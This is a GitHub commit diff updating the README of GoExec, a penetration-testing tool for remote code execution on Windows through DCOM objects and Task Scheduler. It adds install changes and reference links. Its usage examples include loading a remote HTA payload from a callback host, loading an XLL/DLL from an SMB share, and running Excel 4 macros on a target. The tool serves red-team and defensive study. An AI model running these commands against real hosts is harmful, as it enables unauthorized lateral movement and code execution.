Skip to content

Commit e36634a

Browse files
committed
Update README with DCOM references
1 parent 91a6da4 commit e36634a

2 files changed

Lines changed: 49 additions & 15 deletions

File tree

.github/workflows/docs.yml

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,4 @@
1+
name: docs.yml
2+
on:
3+
4+
jobs:

README.md

Lines changed: 45 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -13,25 +13,17 @@ The original post about GoExec v0.1.0 can be found [here](https://www.falconops.
1313
To build this project from source, you will need Go version 1.23.* or greater and a 64-bit target architecture. More information on managing Go installations can be found [here](https://go.dev/doc/manage-install)
1414

1515
```shell
16-
# Install goexec
17-
CGO_ENABLED=0 go install -ldflags="-s -w" github.com/FalconOpsLLC/goexec@latest
16+
# Install goexec (release)
17+
go install -ldflags="-s -w" -trimpath "github.com/FalconOpsLLC/goexec@latest"
1818
```
1919

2020
#### Manual Installation
2121

2222
For pre-release features, fetch the latest commit and build manually.
2323

2424
```shell
25-
# (Linux) Install GoExec manually from source
26-
# Fetch source
27-
git clone https://github.com/FalconOpsLLC/goexec
28-
cd goexec
29-
30-
# Build goexec (Go >= 1.23)
31-
CGO_ENABLED=0 go build -ldflags="-s -w"
32-
33-
# (Optional) Install goexec to /usr/local/bin/goexec
34-
sudo install goexec /usr/local/bin
25+
# Install goexec (development)
26+
go install -ldflags="-s -w" -trimpath "github.com/FalconOpsLLC/goexec@main"
3527
```
3628

3729
### Install with Docker
@@ -44,8 +36,8 @@ We've provided a Dockerfile to build and run GoExec within Docker containers.
4436
git clone https://github.com/FalconOpsLLC/goexec
4537
cd goexec
4638

47-
# Build goexec image (as root/docker group)
48-
docker build . --tag goexec --network host
39+
# Build goexec image; Must be root or docker group member.
40+
docker build . --tag goexec
4941

5042
# Run goexec via Docker container
5143
alias goexec='sudo docker run -it --rm goexec'
@@ -304,6 +296,13 @@ goexec dcom shellwindows "$target" \
304296
--app-window 3 # Maximized
305297
```
306298

299+
##### References
300+
301+
- [Lateral Movement via DCOM: Round 2](https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/) - [Matt Nelson](https://github.com/enigma0x3)
302+
- [ShellWindows Object](https://learn.microsoft.com/en-us/windows/win32/shell/shellwindows)
303+
- [ShellWindows.Item Method](https://learn.microsoft.com/en-us/windows/win32/shell/shellwindows-item)
304+
- [ShellExecute Method](https://learn.microsoft.com/en-us/windows/win32/shell/shell-shellexecute)
305+
307306
#### `ShellBrowserWindow` Method (`dcom shellbrowserwindow`)
308307

309308
The `shellbrowserwindow` method uses the exposed [ShellBrowserWindow](https://strontic.github.io/xcyclopedia/library/clsid_c08afd90-f2a1-11d1-8455-00a0c91f3880.html) DCOM object to call `Document.Application.ShellExecute` and spawn the provided process. The potential constraints of this method are similar to the [ShellWindows method](#shellwindows-method-dcom-shellwindows).
@@ -337,6 +336,12 @@ goexec dcom shellbrowserwindow "$target" \
337336
--app-window 3
338337
```
339338

339+
##### References
340+
341+
- [Lateral Movement via DCOM: Round 2](https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/) - [Matt Nelson](https://github.com/enigma0x3)
342+
- [ShellBrowserWindow Object](https://strontic.github.io/xcyclopedia/library/clsid_c08afd90-f2a1-11d1-8455-00a0c91f3880.html)
343+
- [ShellExecute Method](https://learn.microsoft.com/en-us/windows/win32/shell/shell-shellexecute)
344+
340345
#### `htafile` Method (`dcom htafile`)
341346

342347
The `htafile` method uses the exposed HTML Application object to call [`IPersistMoniker.Load`](https://learn.microsoft.com/en-us/previous-versions/aa458529(v=msdn.10)) with a client-supplied [URL moniker](https://learn.microsoft.com/en-us/openspecs/office_file_formats/ms-oshared/4948a119-c4e4-46b6-9609-0525118552e8). The URL can point to a URL of any format supported by `mshta.exe`.
@@ -383,6 +388,12 @@ goexec dcom htafile "$target" \
383388
--url "http://callback.lan/payload.hta"
384389
```
385390

391+
##### References
392+
393+
- [LethalHTA](https://github.com/codewhitesec/LethalHTA) & [Accompanied Blog Post](https://codewhitesec.blogspot.com/2018/07/lethalhta.html)
394+
- [Go-MSRPC Example: dcom_urlmon_htafile_exec.go](https://github.com/oiweiwei/go-msrpc/blob/main/examples/dcom_urlmon_htafile_exec.go)
395+
- [IPersistMoniker Interface](https://learn.microsoft.com/en-us/previous-versions/windows/internet-explorer/ie-developer/platform-apis/ms775042(v=vs.85))
396+
386397
#### Visual Studio `ExecuteCommand` Method (`dcom visualstudio dte`)
387398

388399
The `visualstudio dte` method uses the exposed `VisualStudio.DTE` object to spawn a process via the `ExecuteCommand` method.
@@ -425,10 +436,17 @@ goexec dcom visualstudio dte "$target" \
425436
--args '/c set' -o-
426437
```
427438

439+
##### References
440+
441+
- [Developers are juicy targets: DCOM & Visual Studio - Juan Manuel Fernandez](https://adepts.of0x.cc/visual-studio-dcom/)
442+
- [Visual Studio DTE Interface](https://learn.microsoft.com/en-us/dotnet/api/envdte.dte)
443+
- [EnvDTE.ExecuteCommand Method](https://learn.microsoft.com/en-us/dotnet/api/envdte._dte.executecommand)
444+
- [Visual Studio Shell Command](https://learn.microsoft.com/en-us/visualstudio/ide/reference/shell-command?view=visualstudio)
445+
428446
#### Excel Methods (`dcom excel`)
429447

430448
The `dcom excel` command group contains remote execution methods targeting Microsoft Excel.
431-
Each of these methods assume that the remote host has Excel installed.
449+
Each method assumes that the remote host has Excel installed.
432450

433451
```text
434452
Usage:
@@ -480,6 +498,12 @@ goexec dcom excel macro "$target" \
480498
-M 'CALL("user32","MessageBoxA","JJCCJ",1,"GoExec rules","bryan was here",0)'
481499
```
482500

501+
##### References
502+
503+
- [Excel.Application.ExecuteExcel4Macro Method](https://learn.microsoft.com/en-us/office/vba/api/excel.application.executeexcel4macro)
504+
- [Excel 4.0 Functions Reference](https://d13ot9o61jdzpp.cloudfront.net/files/Excel%204.0%20Macro%20Functions%20Reference.pdf)
505+
- [Excel 4.0 CALL & REGISTER Functions Reference](https://support.microsoft.com/en-us/office/using-the-call-and-register-functions-06fa83c1-2869-4a89-b665-7e63d188307f)
506+
483507
#### (Auxiliary) Excel `RegisterXLL` Method (`dcom excel xll`)
484508

485509
The `xll` method uses the exposed Excel.Application DCOM object to call RegisterXLL, thus loading a XLL/DLL from the remote filesystem or an UNC path.
@@ -511,6 +535,12 @@ goexec dcom excel xll "$target" \
511535
--xll '\\smbserver.lan\share\addin.xll'
512536
```
513537

538+
##### References
539+
540+
- [DLL Execution via Excel.Applicatoin RegisterXLL() method](https://gist.github.com/byt3bl33d3r/d264cb65e9e3d5e3324635e24ae971a7)
541+
- [Excel.Application.RegisterXLL Method](https://learn.microsoft.com/en-us/office/vba/api/excel.application.registerxll)
542+
543+
514544
### Task Scheduler Module (`tsch`)
515545

516546
The `tsch` module makes use of the Windows Task Scheduler service ([MS-TSCH](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/)) to spawn processes on the remote target.

0 commit comments

Comments
 (0)